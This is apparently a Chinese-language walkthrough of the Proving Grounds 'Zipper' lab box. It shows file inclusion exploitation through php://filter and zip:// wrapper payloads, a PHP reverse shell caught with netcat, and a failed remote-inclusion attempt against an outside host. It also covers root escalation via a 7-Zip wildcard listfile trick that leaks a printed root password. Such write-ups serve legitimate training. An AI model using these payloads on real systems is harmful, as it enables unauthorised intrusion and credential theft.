0%

Proving Grounds Practice - Zipper

Difficulty

Hard

Scan

1
2
3
4
5
6
7
8
[*] ssh found on tcp/22.
OpenSSH 8.2p1


[*] http found on tcp/80.
Apache/2.4.41 (Ubuntu)
Title: Zipperpo
Bootstrap[4.0.0]

Foothold

查看页面源代码,发现home处的跳转链接是 index.php?file=home

可能存在任意文件包含漏洞,访问/index.php?file=index 服务器返回500,确认存在文件包含,那问题是该怎么上传恶意文件呢?

尝试1: 上传文件后有下载链接,文件内容中会包含明文的文件名,尝试把文件名改成webshell,上传后,index.php?file=uploads/upload_xxxx.zip, 失败

**尝试2: **远程文件包含,index.php?file=http://192.169.45.234:8000/shell.php 失败

**尝试3: **猜上传之后的文件名,当然都失败了

查看提示,可以使用wrapper读取源码

http://192.168.212.229/index.php?file=php://filter/convert.base64-encode/resource=home

输出base64编码的源码,解析后看到include了upload.php

继续查看upload文件,会把上传的文件重命名: 时间+随机数.tmp, 看到这第一想法是写个脚本爆破随机数,但是随机数范围太大了(0-4294967295),放弃了这个念头。而实际登录机器之后,发现每分钟会清理.tmp文件。

再次查看hits, 方法是使用zip:// warpper

1
http://192.168.109.128/index.php?file=zip://uploads/upload_1627661999.zip%23shell

msfvenom生成反弹shell php文件,上传后 执行得到shell

1
2
3
4
5
6
7
8
rlwrap nc -nvlp 80
listening on [any] 80 ...


connect to [192.168.45.234] from (UNKNOWN) [192.168.212.229] 33570
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty; pty.spawn("/bin/bash")'

Escalation

上传linpeas收集信息,发现定时任务 * * * * * root bash /opt/backup.sh

查看脚本所属为root, 没有修改权限,查看内容是把密码备份,查看日志得到密码:WildCardsGoingWild, 验证密码为root密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
www-data@zipper:/var/www/html$ cd /opt
cd /opt
www-data@zipper:/opt$ ls
ls
backup.sh backups
www-data@zipper:/opt$ ls -al
ls -al
total 16
drwxr-xr-x 3 root root 4096 Aug 12 2021 .
drwxr-xr-x 20 root root 4096 Aug 12 2021 ..
-rwxr-xr-x 1 root root 153 Aug 12 2021 backup.sh
drwxr-xr-x 2 root root 4096 Feb 1716:56 backups
www-data@zipper:/opt$ cat backup.sh
cat backup.sh
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

www-data@zipper:/opt/backups$ cat backup.log
cat backup.log

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7413 24-Core Processor (A00F11),ASM,AES-NI)

Open archive: /opt/backups/backup.zip
--
Path = /opt/backups/backup.zip
Type = zip
Physical Size = 15736

Scanning the drive:
27 files, 12370 bytes (13 KiB)

Updating archive: /opt/backups/backup.zip

Items to compress: 27


Files read from disk: 27
Archive size: 15736 bytes (16 KiB)

Scan WARNINGS for files and folders:

WildCardsGoingWild : No more files
----------------
Scan WARNINGS: 1


www-data@zipper:/opt/backups$ su root
su root
Password: WildCardsGoingWild

root@zipper:/opt/backups# id
id
uid=0(root) gid=0(root) groups=0(root)

密码为什么会被输出到日志文件中?

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html

命令:7za a /opt/backups/backup.zip -p$``password`` -tzip *.zip > /opt/backups/backup.log

查看/www/html/uploads目录的文件

在使用7z 使用**通配符 *.zip**时,@enox.zip 会被认为是listfile, 其中包含需要被压缩的文件列表(filelist)

在7z执行时,它会把enox.zip视为包含应压缩文件列表的文件,它会将/root/secret的内容读取出来,但是由于该文件不是文件列表,所以会抛出错误并把内容作为错误信息输出,这儿就是打印到日志里。

看题解中 @enox.zip 和 enox.zip 软链应该是需要手动新建的来利用的,但是已经有了,简化了题目。

pspykk,; 9

另一个方法是使用pspy执行的命令

执行命令是 7za a /opt/backups/backup.zip -p$``password`` -tzip *.zip > /opt/backups/backup.log 命令中包含读到的密码,密码会被直接输出。

php wrapper

参阅: PHP Wrapper 利用

反思

要善用搜索,zip文件中的php文件利用搜索能找到结果,不能陷入思维困局。